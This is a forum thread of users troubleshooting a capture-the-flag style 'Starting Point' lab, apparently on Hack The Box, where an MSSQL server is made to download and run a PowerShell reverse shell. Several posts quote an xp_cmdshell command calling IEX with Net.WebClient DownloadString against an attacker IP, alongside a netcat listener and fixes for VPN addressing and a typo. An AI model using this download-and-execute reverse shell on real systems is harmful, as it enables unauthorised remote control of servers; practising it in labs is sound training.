"Starting Point" Tutorial Issue (Exception calling)

I have Followed the Tutorial and Everything worked as expected But when i execute this command [ xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.3(my IP))/shell.ps1"); ] I get the Following Error.

Exception calling “DownloadString” with “1” argument(s): “Unable to connect to the remote server”

At line:1 char:1

  • IEX (New-Object Net.WebClient).DownloadString("http://192…(my ip)/she …

  • 
      + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException      
    
      + FullyQualifiedErrorId : WebException                                         
    
                                                                                     
    
    

NULL

I have set the web server on my ip using Python and also shell.ps1 is on the webserver.

netcat is also setup waiting for the connection.

Any Help with Explanation would be very Helpful . Forgive me if this is a dumb question. I really have no idea what that error mean. I would be very thankful for Your answers. Thank You in Advance :smile:

Unable to connect to remote server. Check your firewall. Might have to do [sudo ufw status] and if it says inactive do [sudo ufw enable] and then [sudo ufw status]. That’s how i got around that issue

same issue here LOL

IEX (New-Object Net.WebClient).DownloadString("http://192…(my ip)/she …

why does your error text mention an IP address starting with 192. Seems like maybe you specified your own LAN IP address and not your VPN IP address

Yeah, as VbScrub mentioned it seems you put wrong IP there. Try running ifconfig to see all your interfaces. There should be one called similar to ‘tun0’ if you’ve followed up to this point successfully. That’s the IP you need to use in buth script and SQL command

Thanks, Solved it

Hey Guys, im stuck at the Problem with the Shell Script.

i started python3 -m http.server 80, view my vpn ip > changed in the line, i have no ufw installed and added the shell.ps1 in the same folder where i started mssqlclient.py but still error:
ew-ObjectNet.WebClient : The term ‘New-ObjectNet.WebClient’ is not recognized as the name of a cmdlet, function,

script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is

correct and try again.

At line:1 char:6

  • IEX (New-ObjectNet.WebClient).DownloadString("http://10.10.14.83/shel

  •  ~~~~~~~~~~~~~~~~~~~~~~~                                                     
    
    • CategoryInfo : ObjectNotFound: (New-ObjectNet.WebClient:String) , CommandNotFoundException

    • FullyQualifiedErrorId : CommandNotFoundException

Put a pace in-between → (New-ObjectNet.WebClient:String)

@cybersecHM said:
Put a pace in-between → (New-Object Net.WebClient:String)